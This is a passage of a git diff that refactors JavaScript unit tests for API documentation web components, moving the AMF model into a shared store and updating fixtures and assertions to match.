-          const element = await basicFixture(demoModel, 'summary', 'summary');
+          store.amf = demoModel;
+          const element = await basicFixture('summary', 'summary');
           const shape = loader.getShape(demoModel, 'ErrorResource');
           element.domainId = shape.id;
           element.domainType = 'schema';
@@ -234,7 +236,8 @@ describe('ApiDocumentationElement', () => {
         });
 
         it('changes to a document', async () => {
-          const element = await basicFixture(demoModel, 'summary', 'summary');
+          store.amf = demoModel;
+          const element = await basicFixture('summary', 'summary');
           const doc = loader.getDocumentation(demoModel, 'Test doc');
           element.domainId = doc.id;
           element.domainType = 'documentation';
@@ -246,7 +249,8 @@ describe('ApiDocumentationElement', () => {
         });
 
         it('changes to a security', async () => {
-          const element = await basicFixture(demoModel, 'summary', 'summary');
+          store.amf = demoModel;
+          const element = await basicFixture('summary', 'summary');
           const security = loader.getSecurity(demoModel, 'digest');
           element.domainId = security.id;
           element.domainType = 'security';
@@ -260,55 +264,53 @@ describe('ApiDocumentationElement', () => {
 
       describe('property passing', () => {
         it('passes all properties to the summary element', async () => {
-          const element = await basicFixture(demoModel, 'summary', 'summary');
+          store.amf = demoModel;
+          const element = await basicFixture('summary', 'summary');
           element.baseUri = 'https://base.com/';
           element.anypoint = true;
           await nextFrame();
           const summary = element.shadowRoot.querySelector('api-summary');
-          assert.typeOf(summary.amf, 'object', 'passes the amf');
           assert.equal(summary.baseUri, element.baseUri, 'passes the baseUri');
           assert.isTrue(summary.anypoint, 'passes the anypoint');
         });
 
         it('passes all properties to the security element', async () => {
+          store.amf = demoModel;
           const security = loader.getSecurity(demoModel, 'digest');
-          const element = await basicFixture(demoModel, security.id, 'security');
+          const element = await basicFixture(security.id, 'security');
           element.anypoint = true;
           await nextFrame();
           const node = element.shadowRoot.querySelector('api-security-document');
-          assert.typeOf(node.amf, 'object', 'passes the amf');
-          assert.typeOf(node.domainModel, 'object', 'passes the domainModel');
-          assert.equal(node.domainModel['@id'], security.id, 'passes the security domainModel');
+          assert.equal(node.domainId, security.id, 'passes the security domainModel');
           assert.isTrue(node.anypoint, 'passes the anypoint');
         });
 
         it('passes all properties to the schema element', async () => {
+          store.amf = demoModel;
           const shape = loader.getShape(demoModel, 'Unionable');
-          const element = await basicFixture(demoModel, shape.id, 'schema');
+          const element = await basicFixture(shape.id, 'schema');
           element.anypoint = true;
           await nextFrame();
           const node = element.shadowRoot.querySelector('api-schema-document');
-          assert.typeOf(node.amf, 'object', 'passes the amf');
-          assert.typeOf(node.domainModel, 'object', 'passes the domainModel');
-          assert.equal(node.domainModel['@id'], shape.id, 'passes the schema domainModel');
+          assert.equal(node.domainId, shape.id, 'passes the schema domainModel');
           assert.isTrue(node.anypoint, 'passes the anypoint');
         });
 
         it('passes all properties to the documentation element', async () => {
+          store.amf = demoModel;
           const doc = loader.getDocumentation(demoModel, 'Test doc');
-          const element = await basicFixture(demoModel, doc.id, 'documentation');
+          const element = await basicFixture(doc.id, 'documentation');
           element.anypoint = true;
           await nextFrame();
           const node = element.shadowRoot.querySelector('api-documentation-document');
-          assert.typeOf(node.amf, 'object', 'passes the amf');
-          assert.typeOf(node.domainModel, 'object', 'passes the domainModel');
-          assert.equal(node.domainModel['@id'], doc.id, 'passes the schema domainModel');
+          assert.equal(node.domainId, doc.id, 'passes the schema domainModel');
           assert.isTrue(node.anypoint, 'passes the anypoint');
         });
 
         it('passes properties to the resource element', async () => {
+          store.amf = demoModel;
           const endpoint = loader.getEndpoint(demoModel, '/people')
-          const element = await basicFixture(demoModel, endpoint.id, 'resource');
+          const element = await basicFixture(endpoint.id, 'resource');
           element.anypoint = true;
           element.redirectUri = 'https://rdr.api.com/';
           element.baseUri = 'https://base.com/';
@@ -316,11 +318,8 @@ describe('ApiDocumentationElement', () => {
           element.tryItButton = true;
           await nextFrame();
           const node = element.shadowRoot.querySelector('api-resource-document');
-          assert.typeOf(node.amf, 'object', 'passes the amf');
           assert.equal(node.domainId, endpoint.id, 'passes the domainId');
           assert.isUndefined(node.operationId, 'does not set the operationId');
-          assert.typeOf(node.domainModel, 'object', 'passes the domainModel');
-          assert.equal(node.domainModel['@id'], endpoint.id, 'passes the resource domainModel');
           assert.isTrue(node.anypoint, 'passes the anypoint');
           assert.equal(node.redirectUri, element.redirectUri, 'passes the redirectUri');
           assert.equal(node.baseUri, element.baseUri, 'passes the baseUri');
@@ -330,9 +329,10 @@ describe('ApiDocumentationElement', () => {
         });
 
         it('passes properties to the resource element when an operation', async () => {
+          store.amf = demoModel;
           const endpoint = loader.getEndpoint(demoModel, '/people');
           const [operation] = endpoint.operations;
-          const element = await operationFixture(demoModel, endpoint.id, operation.id);
+          const element = await operationFixture(endpoint.id, operation.id);
           await nextFrame();
           const node = element.shadowRoot.querySelector('api-resource-document');
           assert.equal(node.operationId, operation.id, 'sets the operationId');
@@ -341,8 +341,11 @@ describe('ApiDocumentationElement', () => {
 
       describe('multi server API', () => {
         it('has the selector in the DOM', async () => {
+          store.amf = multiServerModel;
           const endpoint = loader.getEndpoint(multiServerModel, '/default');
-          const element = await operationFixture(multiServerModel, endpoint.id, endpoint.operations[0].id);
+          const element = await operationFixture(endpoint.id, endpoint.operations[0].id);
+          // Server's debouncer
+          await aTimeout(2);
 
           const selector = element.shadowRoot.querySelector('api-server-selector');
           assert.ok(selector, 'has the selector');
@@ -350,8 +353,11 @@ describe('ApiDocumentationElement', () => {
         });
 
         it('does not render the selector when noServerSelector is set', async () => {
+          store.amf = multiServerModel;
           const endpoint = loader.getEndpoint(multiServerModel, '/default');
-          const element = await operationFixture(multiServerModel, endpoint.id, endpoint.operations[0].id);
+          const element = await operationFixture(endpoint.id, endpoint.operations[0].id);
+          // Server's debouncer
+          await aTimeout(2);
           element.noServerSelector = true;
           await nextFrame();
 
@@ -360,34 +366,45 @@ describe('ApiDocumentationElement', () => {
         });
 
         it('passes the data to the selector', async () => {
+          store.amf = multiServerModel;
           const endpoint = loader.getEndpoint(multiServerModel, '/default');
-          const element = await basicFixture(multiServerModel, endpoint.id, 'resource');
+          const element = await basicFixture(endpoint.id, 'resource');
+          // Server's debouncer
+          await aTimeout(2);
 
           const selector = element.shadowRoot.querySelector('api-server-selector');
-          assert.typeOf(selector.amf, 'object', 'sets the amf property');
-          assert.equal(selector.selectedShape, endpoint.id, 'sets the selectedShape property');
-          assert.equal(selector.selectedShapeType, 'resource', 'sets the selectedShapeType property');
+          assert.equal(selector.domainId, endpoint.id, 'sets the domainId property');
+          assert.equal(selector.domainType, 'resource', 'sets the domainType property');
         });
 
         it('sets the serversCount property', async () => {
+          store.amf = multiServerModel;
           const endpoint = loader.getEndpoint(multiServerModel, '/default');
-          const element = await customServersFixture(multiServerModel, endpoint.id, endpoint.operations[0].id);
+          const element = await customServersFixture(endpoint.id, endpoint.operations[0].id);
+          // Server's debouncer
+          await aTimeout(2);
 
           assert.equal(element.serversCount, 6, 'has all servers');
         });
 
         it('sets the serverValue and serverType properties with the first available server', async () => {
+          store.amf = demoModel;
           const endpoint = loader.getEndpoint(demoModel, '/people');
-          const element = await customServersFixture(demoModel, endpoint.id, endpoint.operations[0].id);
+          const element = await customServersFixture(endpoint.id, endpoint.operations[0].id);
+          // Server's debouncer
+          await aTimeout(2);
 
           assert.equal(element.serverValue, 'http://{instance}.domain.com/');
           assert.equal(element.serverType, 'server');
         });
 
         it('passes the selected server information to the components', async () => {
+          store.amf = demoModel;
           const endpoint = loader.getEndpoint(demoModel, '/people');
-          const element = await customServersFixture(demoModel, endpoint.id, endpoint.operations[0].id);
-
+          const element = await customServersFixture(endpoint.id, endpoint.operations[0].id);
+          // Server's debouncer
+          await aTimeout(2);
+          
           const selector = element.shadowRoot.querySelector('api-server-selector');
           assert.equal(selector.value, 'http://{instance}.domain.com/');
           assert.equal(selector.type, 'server');
@@ -398,14 +415,22 @@ describe('ApiDocumentationElement', () => {
         });
 
         it('does not change the baseUri property', async () => {
+          store.amf = demoModel;
           const endpoint = loader.getEndpoint(demoModel, '/people');
-          const element = await customServersFixture(demoModel, endpoint.id, endpoint.operations[0].id);
+          const element = await customServersFixture(endpoint.id, endpoint.operations[0].id);
+          // Server's debouncer
+          await aTimeout(2);
+
           assert.isUndefined(element.baseUri);
         });
 
         it('hides the server selector when has less than 2 servers', async () => {
+          store.amf = demoModel;
           const endpoint = loader.getEndpoint(demoModel, '/people');
-          const element = await operationFixture(demoModel, endpoint.id, endpoint.operations[0].id);
+          const element = await operationFixture(endpoint.id, endpoint.operations[0].id);
+          // Server's debouncer
+          await aTimeout(2);
+
           assert.equal(element.serversCount, 1, 'has a single server');
 
           const selector = element.shadowRoot.querySelector('api-server-selector');
@@ -413,8 +438,12 @@ describe('ApiDocumentationElement', () => {
         });
 
         it('renders the server selector when has allowCustomBaseUri', async () => {
+          store.amf = demoModel;
           const endpoint = loader.getEndpoint(demoModel, '/people');
-          const element = await operationFixture(demoModel, endpoint.id, endpoint.operations[0].id);
+          const element = await operationFixture(endpoint.id, endpoint.operations[0].id);
+          // Server's debouncer
+          await aTimeout(2);
+          
           element.allowCustomBaseUri = true;
           await nextFrame();
 
@@ -423,8 +452,11 @@ describe('ApiDocumentationElement', () => {
         });
 
         it('selects an extra server from the server event', async () => {
+          store.amf = multiServerModel;
           const endpoint = loader.getEndpoint(multiServerModel, '/default');
-          const element = await customServersFixture(multiServerModel, endpoint.id, endpoint.operations[0].id);
+          const element = await customServersFixture(endpoint.id, endpoint.operations[0].id);
+          // Server's debouncer
+          await aTimeout(2);
 
           const selector = element.shadowRoot.querySelector('api-server-selector');
           const url = 'http://customServer.com';
@@ -436,8 +468,11 @@ describe('ApiDocumentationElement', () => {
         });
 
         it('selects a custom server from the server event', async () => {
+          store.amf = multiServerModel;
           const endpoint = loader.getEndpoint(multiServerModel, '/default');
-          const element = await customServersFixture(multiServerModel, endpoint.id, endpoint.operations[0].id);
+          const element = await customServersFixture(endpoint.id, endpoint.operations[0].id);
+          // Server's debouncer
+          await aTimeout(2);
 
           const selector = element.shadowRoot.querySelector('api-server-selector');
           const url = 'https://www.google.com';
@@ -449,8 +484,11 @@ describe('ApiDocumentationElement', () => {
         });
 
         it('hides the selector wien navigating to another graph type', async () => {
+          store.amf = multiServerModel;
           const endpoint = loader.getEndpoint(multiServerModel, '/default');
-          const element = await customServersFixture(multiServerModel, endpoint.id, endpoint.operations[0].id);
+          const element = await customServersFixture(endpoint.id, endpoint.operations[0].id);
+          // Server's debouncer
+          await aTimeout(2);
 
           const shape = loader.getShape(multiServerModel, 'Pets');
           element.domainId = shape.id;
@@ -464,15 +502,15 @@ describe('ApiDocumentationElement', () => {
 
       describe('API library processing', () => {
         it('renders a type from a library', async () => {
+          store.amf = libraryFragmentModel;
           const type = loader.getShape(libraryFragmentModel, 'myType');
-          const element = await basicFixture(libraryFragmentModel, type.id, 'schema');
+          const element = await basicFixture(type.id, 'schema');
           element.anypoint = true;
           await nextFrame();
 
           const node = element.shadowRoot.querySelector('api-schema-document');
           assert.ok(node, 'schema is rendered');
-          assert.typeOf(node.amf, 'object', 'amf is set');
-          assert.typeOf(node.domainModel, 'object', 'schema model is set');
+          assert.equal(node.domainId, type.id, 'domainId is set');
           assert.isTrue(node.anypoint, 'anypoint is set');
           
           const mimeSelector = element.shadowRoot.querySelector('.media-type-selector');
@@ -480,54 +518,52 @@ describe('ApiDocumentationElement', () => {
         });
 
         it('renders a security from a library', async () => {
+          store.amf = libraryFragmentModel;
           const security = loader.getSecurity(libraryFragmentModel, 'OAuth1');
-          const element = await basicFixture(libraryFragmentModel, security.id, 'security');
+          const element = await basicFixture(security.id, 'security');
           element.anypoint = true;
           await nextFrame();
 
           const node = element.shadowRoot.querySelector('api-security-document');
           assert.ok(node, 'security is rendered');
-          assert.typeOf(node.amf, 'object', 'amf is set');
-          assert.typeOf(node.domainModel, 'object', 'passes the domainModel');
-          assert.equal(node.domainModel['@id'], security.id, 'passes the security domainModel');
+          assert.equal(node.domainId, security.id, 'domainId is set');
           assert.isTrue(node.anypoint, 'anypoint is set');
         });
       });
 
       describe('Security fragment processing', () => {
         it('renders a security from a fragment', async () => {
-          const element = await basicFixture(securityFragmentModel);
+          store.amf = securityFragmentModel;
+          const element = await basicFixture();
+          await aTimeout(2);
           const security = loader.lookupEncodes(securityFragmentModel);
-          const node = /** @type any */ (element.shadowRoot.querySelector('api-security-document'));
+          const node = element.shadowRoot.querySelector('api-security-document');
           assert.ok(node, 'security is rendered');
-          assert.typeOf(node.amf, 'object', 'amf is set');
-          assert.typeOf(node.domainModel, 'object', 'passes the domainModel');
-          assert.equal(node.domainModel['@id'], security['@id'], 'passes the security domainModel');
+          
+          assert.equal(node.securityScheme.id, security['@id'], 'domainId is set');
         });
       });
 
       describe('Documentation fragment processing', () => {
         it('renders a documentation from a fragment', async () => {
-          const element = await basicFixture(documentationFragmentModel);
+          store.amf = documentationFragmentModel;
+          const element = await basicFixture();
           const docs = loader.lookupEncodes(documentationFragmentModel);
 
           const node = element.shadowRoot.querySelector('api-documentation-document');
           assert.ok(node, 'the documentation is rendered');
-          assert.typeOf(node.amf, 'object', 'amf is set');
-          assert.typeOf(node.domainModel, 'object', 'passes the domainModel');
-          assert.equal(node.domainModel['@id'], docs['@id'], 'passes the documentation domainModel');
+          assert.equal(node.domainId, docs['@id'], 'domainId is set');
         });
       });
 
       describe('Type fragment processing', () => {
         it('renders a type from a fragment', async () => {
-          const element = await basicFixture(typeFragmentModel);
+          store.amf = typeFragmentModel;
+          const element = await basicFixture();
           const schema = loader.lookupEncodes(typeFragmentModel);
 
           const node = element.shadowRoot.querySelector('api-schema-document');
-          assert.typeOf(node.amf, 'object', 'the amf is set');
-          assert.typeOf(node.domainModel, 'object', 'passes the domainModel');
-          assert.equal(node.domainModel['@id'], schema['@id'], 'passes the documentation domainModel');
+          assert.equal(node.domainId, schema['@id'], 'domainId is set');
         });
       });
 
@@ -542,11 +578,11 @@ describe('ApiDocumentationElement', () => {
         });
 
         it('should reset the state when switching to a library', async () => {
-          element = await basicFixture(demoModel, 'summary', 'summary');
-          const oldDocsModel = element[renderedModelValue];
-          element.amf = libraryAmf;
-          await aTimeout(1);
-          assert.notEqual(element[renderedModelValue], oldDocsModel);
+          store.amf = demoModel;
+          element = await basicFixture('summary', 'summary');
+          store.amf = libraryAmf;
+          await aTimeout(2);
+          assert.equal(element.documentMeta.isLibrary, true);
         });
       });
 
@@ -556,34 +592,35 @@ describe('ApiDocumentationElement', () => {
 
         beforeEach(async () => {
           model = await loader.getGraph(compact, 'APIC-390');
+          store.amf = model;
         });
 
         it('renders SiteId type defined in library', async () => {
           const shape = loader.getShape(model, 'SiteId');
-          const element = await basicFixture(model, shape.id, 'schema');
+          const element = await basicFixture(shape.id, 'schema');
           const node = element.shadowRoot.querySelector('api-schema-document');
 
           assert.ok(node, 'the schema is rendered');
-          assert.typeOf(node.amf, 'object', 'amf is set');
-          assert.typeOf(node.domainModel, 'object', 'the domainModel is set');
-          assert.equal(node.domainModel['@id'], shape.id, 'schema model is set');
+          assert.equal(node.domainId, shape.id, 'schema model is set');
         });
 
         it('renders Language type defined in uses node in library', async () => {
           const shape = loader.getShape(model, 'LocaleCode');
-          const element = await basicFixture(model, shape.id, 'schema');
+          const element = await basicFixture(shape.id, 'schema');
           const node = element.shadowRoot.querySelector('api-schema-document');
 
           assert.ok(node, 'the schema is rendered');
-          assert.typeOf(node.amf, 'object', 'amf is set');
-          assert.typeOf(node.domainModel, 'object', 'the domainModel is set');
-          assert.equal(node.domainModel['@id'], shape.id, 'schema model is set');
+          assert.equal(node.domainId, shape.id, 'schema model is set');
         });
       });
 
       describe('navigation events', () => {
+        before(async () => {
+          store.amf = demoModel;
+        });
+
         it('changes selection when event occurs', async () => {
-          const element = await navigationFixture(demoModel);
+          const element = await navigationFixture();
           assert.isTrue(element.handleNavigationEvents, 'getter returns the value');
 
           const ep = loader.getEndpoint(demoModel, '/people');
@@ -595,7 +632,7 @@ describe('ApiDocumentationElement', () => {
         });
     
         it('ignores the passive navigation', async () => {
-          const element = await navigationFixture(demoModel);
+          const element = await navigationFixture();
 
           const ep = loader.getEndpoint(demoModel, '/people');
           NavigationEvents.apiNavigate(document.body, ep.id, 'operation', ep.operations[0].id, true);
@@ -606,7 +643,7 @@ describe('ApiDocumentationElement', () => {
         });
     
         it('removes the listener when changing state', async () => {
-          const element = await navigationFixture(demoModel);
+          const element = await navigationFixture();
           element.handleNavigationEvents = false;
 
           const ep = loader.getEndpoint(demoModel, '/people');
@@ -626,22 +663,25 @@ describe('ApiDocumentationElement', () => {
       //
       describe('shape media type selector', () => {
         it('renders the schema media type selector', async () => {
+          store.amf = demoModel;
           const shape = loader.getShape(demoModel, 'ErrorResource');
-          const element = await basicFixture(demoModel, shape.id, 'schema');
+          const element = await basicFixture(shape.id, 'schema');
           const node = element.shadowRoot.querySelector('.media-type-selector');
           assert.ok(node, 'has the media type selector')
         });
 
         it('does not render the selector when no enough mime types for the API', async () => {
+          store.amf = appianApiModel;
           const shape = loader.getShape(appianApiModel, 'ProcessModel');
-          const element = await basicFixture(appianApiModel, shape.id, 'schema');
+          const element = await basicFixture(shape.id, 'schema');
           const node = element.shadowRoot.querySelector('.media-type-selector');
           assert.notOk(node, 'has no media type selector')
         });
 
         it('renders all API accept options', async () => {
+          store.amf = demoModel;
           const shape = loader.getShape(demoModel, 'ErrorResource');
-          const element = await basicFixture(demoModel, shape.id, 'schema');
+          const element = await basicFixture(shape.id, 'schema');
           const selector = element.shadowRoot.querySelector('.media-type-selector');
           const buttons = selector.querySelectorAll('anypoint-radio-button');
           assert.lengthOf(buttons, 2, 'has two media type options');
@@ -651,8 +691,9 @@ describe('ApiDocumentationElement', () => {
         });
 
         it('changes the selection of the schema media type', async () => {
+          store.amf = demoModel;
           const shape = loader.getShape(demoModel, 'ErrorResource');
-          const element = await basicFixture(demoModel, shape.id, 'schema');
+          const element = await basicFixture(shape.id, 'schema');
           const selector = element.shadowRoot.querySelector('.media-type-selector');
           const buttons = selector.querySelectorAll('anypoint-radio-button');
           buttons[1].click();
@@ -664,14 +705,16 @@ describe('ApiDocumentationElement', () => {
         });
 
         it('cleans up the schema mime type when AMF change', async () => {
+          store.amf = demoModel;
           const shape = loader.getShape(demoModel, 'ErrorResource');
-          const element = await basicFixture(demoModel, shape.id, 'schema');
+          const element = await basicFixture(shape.id, 'schema');
           const selector = element.shadowRoot.querySelector('.media-type-selector');
           const buttons = selector.querySelectorAll('anypoint-radio-button');
           buttons[1].click();
           assert.equal(element.schemaMimeType, 'application/xml', 'sets the schemaMimeType');
           
-          element.amf = libraryFragmentModel;
+          store.amf = libraryFragmentModel;
+          await aTimeout(2);
           assert.isUndefined(element.schemaMimeType);
         });
       });
diff --git a/test/elements/ApiOperationDocumentElement.test.js b/test/elements/ApiOperationDocumentElement.test.js
index 2b5d667..013af2a 100644
--- a/test/elements/ApiOperationDocumentElement.test.js
+++ b/test/elements/ApiOperationDocumentElement.test.js
@@ -1,6 +1,7 @@
 import { fixture, assert, html, nextFrame, aTimeout } from '@open-wc/testing';
 import sinon from 'sinon';
 import { AmfLoader } from '../AmfLoader.js';
+import { DomEventsAmfStore } from '../../src/store/DomEventsAmfStore.js';
 import '../../define/api-operation-document.js';
 import '../../define/api-request-document.js';
 
@@ -9,89 +10,86 @@ import '../../define/api-request-document.js';
 /** @typedef {import('../../').ApiParameterDocumentElement} ApiParameterDocumentElement */
 /** @typedef {import('../../src/helpers/amf').AmfDocument} AmfDocument */
 /** @typedef {import('../../src/helpers/amf').DomainElement} DomainElement */
-/** @typedef {import('../../src/helpers/amf').Operation} Operation */
+/** @typedef {import('../../src/helpers/api').ApiOperation} ApiOperation */
 /** @typedef {import('@anypoint-web-components/awc').AnypointTabsElement} AnypointTabs */
 
 describe('ApiOperationDocumentElement', () => {
   const loader = new AmfLoader();
+  const store = new DomEventsAmfStore(window);
+  store.listen();
 
   /**
-   * @param {AmfDocument} amf
-   * @param {Operation=} shape
+   * @param {ApiOperation=} operation
    * @returns {Promise<ApiOperationDocumentElement>}
    */
-  async function basicFixture(amf, shape) {
+  async function basicFixture(operation) {
     const element = await fixture(html`<api-operation-document 
       .queryDebouncerTimeout="${0}" 
-      .amf="${amf}" 
-      .domainModel="${shape}"
+      .domainId="${operation && operation.id}"
+      .operation="${operation}"
     ></api-operation-document>`);
-    await aTimeout(0);
+    await aTimeout(2);
     return /** @type ApiOperationDocumentElement */ (element);
   }
 
   /**
-   * @param {AmfDocument} amf
-   * @param {Operation=} shape
+   * @param {ApiOperation=} operation
    * @returns {Promise<ApiOperationDocumentElement>}
    */
-  async function tryItFixture(amf, shape) {
+  async function tryItFixture(operation) {
     const element = await fixture(html`<api-operation-document 
       .queryDebouncerTimeout="${0}" 
-      .amf="${amf}" 
-      .domainModel="${shape}"
+      .domainId="${operation && operation.id}"
+      .operation="${operation}"
       tryItButton
     ></api-operation-document>`);
-    await aTimeout(0);
+    await aTimeout(2);
     return /** @type ApiOperationDocumentElement */ (element);
   }
 
   /**
-   * @param {AmfDocument} amf
-   * @param {Operation=} shape
+   * @param {ApiOperation=} operation
    * @returns {Promise<ApiOperationDocumentElement>}
    */
-  async function snippetsFixture(amf, shape) {
+  async function snippetsFixture(operation) {
     const element = await fixture(html`<api-operation-document 
       .queryDebouncerTimeout="${0}" 
       renderCodeSnippets
-      .amf="${amf}" 
-      .domainModel="${shape}"
+      .domainId="${operation && operation.id}"
+      .operation="${operation}"
     ></api-operation-document>`);
-    await aTimeout(0);
+    await aTimeout(2);
     return /** @type ApiOperationDocumentElement */ (element);
   }
 
   /**
-   * @param {AmfDocument} amf
-   * @param {Operation=} shape
+   * @param {ApiOperation=} operation
    * @returns {Promise<ApiOperationDocumentElement>}
    */
-  async function asyncFixture(amf, shape) {
+  async function asyncFixture(operation) {
     const element = await fixture(html`<api-operation-document 
       .queryDebouncerTimeout="${0}" 
-      .amf="${amf}" 
-      .domainModel="${shape}"
+      .domainId="${operation && operation.id}"
+      .operation="${operation}"
       renderCodeSnippets
       asyncApi
     ></api-operation-document>`);
-    await aTimeout(0);
+    await aTimeout(2);
     return /** @type ApiOperationDocumentElement */ (element);
   }
 
   /**
-   * @param {AmfDocument} amf
-   * @param {Operation=} shape
+   * @param {ApiOperation=} operation
    * @returns {Promise<ApiOperationDocumentElement>}
    */
-  async function securityFixture(amf, shape) {
+  async function securityFixture(operation) {
     const element = await fixture(html`<api-operation-document 
       .queryDebouncerTimeout="${0}" 
       renderSecurity
-      .amf="${amf}" 
-      .domainModel="${shape}"
+      .domainId="${operation && operation.id}"
+      .operation="${operation}"
     ></api-operation-document>`);
-    await aTimeout(0);
+    await aTimeout(2);
     return /** @type ApiOperationDocumentElement */ (element);
   }
 
@@ -102,13 +100,14 @@ describe('ApiOperationDocumentElement', () => {
         let model;
         before(async () => {
           model = await loader.getGraph(compact);
+          store.amf = model;
         });
 
         /** @type ApiOperationDocumentElement */
         let element;
         beforeEach(async () => {
-          const data = loader.lookupOperation(model, '/people', 'get');
-          element = await basicFixture(model, data);
+          const data = loader.getOperation(model, '/people', 'get');
+          element = await basicFixture(data);
         });
 
         it('sets the operation property', () => {
@@ -183,48 +182,54 @@ describe('ApiOperationDocumentElement', () => {
         });
 
         it('renders the operation name, when defined', async () => {
-          const data = loader.lookupOperation(demoModel, '/people', 'get');
-          const element = await basicFixture(demoModel, data);
+          store.amf = demoModel;
+          const data = loader.getOperation(demoModel, '/people', 'get');
+          const element = await basicFixture(data);
           const header = element.shadowRoot.querySelector('.operation-header');
           const label = header.querySelector('.label');
           assert.equal(label.textContent.trim(), 'List people');
         });
 
         it('renders the operation method, when name not defined', async () => {
-          const data = loader.lookupOperation(demoModel, '/orgs/{orgId}', 'put');
-          const element = await basicFixture(demoModel, data);
+          store.amf = demoModel;
+          const data = loader.getOperation(demoModel, '/orgs/{orgId}', 'put');
+          const element = await basicFixture(data);
           const header = element.shadowRoot.querySelector('.operation-header');
           const label = header.querySelector('.label');
           assert.equal(label.textContent.trim(), 'put');
         });
 
         it('renders the operation sub-title for sync API', async () => {
-          const data = loader.lookupOperation(demoModel, '/orgs/{orgId}', 'put');
-          const element = await basicFixture(demoModel, data);
+          store.amf = demoModel;
+          const data = loader.getOperation(demoModel, '/orgs/{orgId}', 'put');
+          const element = await basicFixture(data);
           const header = element.shadowRoot.querySelector('.operation-header');
           const label = header.querySelector('.sub-header');
           assert.equal(label.textContent.trim(), 'API operation');
         });
 
         it('renders the operation sub-title for async API', async () => {
-          const data = loader.lookupOperation(asyncModel, 'hello', 'publish');
-          const element = await asyncFixture(asyncModel, data);
+          store.amf = asyncModel;
+          const data = loader.getOperation(asyncModel, 'hello', 'publish');
+          const element = await asyncFixture(data);
           const header = element.shadowRoot.querySelector('.operation-header');
           const label = header.querySelector('.sub-header');
           assert.equal(label.textContent.trim(), 'Async operation');
         });
 
         it('renders the operation summary', async () => {
-          const data = loader.lookupOperation(petStoreModel, '/pets', 'get');
-          const element = await basicFixture(petStoreModel, data);
+          store.amf = petStoreModel;
+          const data = loader.getOperation(petStoreModel, '/pets', 'get');
+          const element = await basicFixture(data);
           const summary = element.shadowRoot.querySelector('.summary');
           assert.ok(summary, 'has the summary');
           assert.equal(summary.textContent.trim(), 'Finds pets by tag');
         });
 
         it('renders the operation id', async () => {
-          const data = loader.lookupOperation(petStoreModel, '/pets', 'get');
-          const element = await basicFixture(petStoreModel, data);
+          store.amf = petStoreModel;
+          const data = loader.getOperation(petStoreModel, '/pets', 'get');
+          const element = await basicFixture(data);
           const field = element.shadowRoot.querySelector('.schema-property-item[data-name="operation-id"]');
           assert.ok(field, 'has the operation id label');
           const value = field.querySelector('.schema-property-value');
@@ -232,8 +237,9 @@ describe('ApiOperationDocumentElement', () => {
         });
 
         it('renders the endpoint URI', async () => {
-          const data = loader.lookupOperation(demoModel, '/people/{personId}', 'get');
-          const element = await basicFixture(demoModel, data);
+          store.amf = demoModel;
+          const data = loader.getOperation(demoModel, '/people/{personId}', 'get');
+          const element = await basicFixture(data);
           const section = element.shadowRoot.querySelector('.endpoint-url');
           assert.ok(section, 'has the url section');
           const node = section.querySelector('.url-value');
@@ -241,8 +247,9 @@ describe('ApiOperationDocumentElement', () => {
         });
 
         it('renders the method with the endpoint URI', async () => {
-          const data = loader.lookupOperation(demoModel, '/people/{personId}', 'get');
-          const element = await basicFixture(demoModel, data);
+          store.amf = demoModel;
+          const data = loader.getOperation(demoModel, '/people/{personId}', 'get');
+          const element = await basicFixture(data);
           const section = element.shadowRoot.querySelector('.endpoint-url');
           assert.ok(section, 'has the url section');
           const node = section.querySelector('.method-label');
@@ -250,8 +257,9 @@ describe('ApiOperationDocumentElement', () => {
         });
 
         it('does not render the URI when async API', async () => {
-          const data = loader.lookupOperation(asyncModel, 'hello', 'publish');
-          const element = await asyncFixture(asyncModel, data);
+          store.amf = asyncModel;
+          const data = loader.getOperation(asyncModel, 'hello', 'publish');
+          const element = await asyncFixture(data);
           const section = element.shadowRoot.querySelector('.endpoint-url');
           assert.notOk(section, 'has no url section');
         });
@@ -261,43 +269,49 @@ describe('ApiOperationDocumentElement', () => {
         // a valid model.
         // 
         it.skip('renders the traits', async () => {
-          const data = loader.lookupOperation(demoModel, '/people', 'get');
-          const element = await asyncFixture(demoModel, data);
+          store.amf = demoModel;
+          const data = loader.getOperation(demoModel, '/people', 'get');
+          const element = await asyncFixture(data);
           const section = element.shadowRoot.querySelector('.extensions');
           assert.ok(section, 'has the traits line');
           assert.equal(section.textContent.trim(), 'Mixes in Paginated.', 'has the traits content');
         });
 
         it('renders the annotations', async () => {
-          const data = loader.lookupOperation(demoModel, '/test-parameters/{feature}', 'get');
-          const element = await asyncFixture(demoModel, data);
+          store.amf = demoModel;
+          const data = loader.getOperation(demoModel, '/test-parameters/{feature}', 'get');
+          const element = await asyncFixture(data);
           const section = element.shadowRoot.querySelector('api-annotation-document');
           assert.ok(section, 'has the annotations');
           assert.equal(section.getAttribute('aria-hidden'), 'false', 'renders the content');
         });
 
         it('renders the request document', async () => {
-          const data = loader.lookupOperation(demoModel, '/test-parameters/{feature}', 'get');
-          const element = await asyncFixture(demoModel, data);
+          store.amf = demoModel;
+          const data = loader.getOperation(demoModel, '/test-parameters/{feature}', 'get');
+          const element = await asyncFixture(data);
           const section = /** @type ApiRequestDocumentElement */ (element.shadowRoot.querySelector('api-request-document'));
           assert.ok(section, 'has the request document');
-          assert.isTrue(section.amf === demoModel, 'passes the amf model');
+          
+          assert.equal(section.domainId, data.request.id, 'sets the domainId');
           assert.typeOf(section.request, 'object', 'passes the request model');
           assert.typeOf(section.endpoint, 'object', 'passes the endpoint model');
           assert.typeOf(section.server, 'object', 'passes the server model');
         });
 
         it('renders the deprecated message', async () => {
-          const data = loader.lookupOperation(petStoreModel, '/pets', 'get');
-          const element = await basicFixture(petStoreModel, data);
+          store.amf = petStoreModel;
+          const data = loader.getOperation(petStoreModel, '/pets', 'get');
+          const element = await basicFixture(data);
           const message = element.shadowRoot.querySelector('.deprecated-message');
           assert.ok(message, 'has the message');
           assert.equal(message.querySelector('.message').textContent.trim(), 'This operation is marked as deprecated.');
         });
 
         it('renders the callbacks section', async () => {
-          const data = loader.lookupOperation(oasCallbacksModel, '/subscribe', 'post');
-          const element = await basicFixture(oasCallbacksModel, data);
+          store.amf = oasCallbacksModel;
+          const data = loader.getOperation(oasCallbacksModel, '/subscribe', 'post');
+          const element = await basicFixture(data);
           const callbacksSection = element.shadowRoot.querySelector('[data-controlled-by="callbacksOpened"]');
           assert.ok(callbacksSection, 'has the message');
 
@@ -310,8 +324,9 @@ describe('ApiOperationDocumentElement', () => {
         });
 
         it('renders the links section', async () => {
-          const data = loader.lookupOperation(oasCallbacksModel, '/subscribe', 'post');
-          const element = await basicFixture(oasCallbacksModel, data);
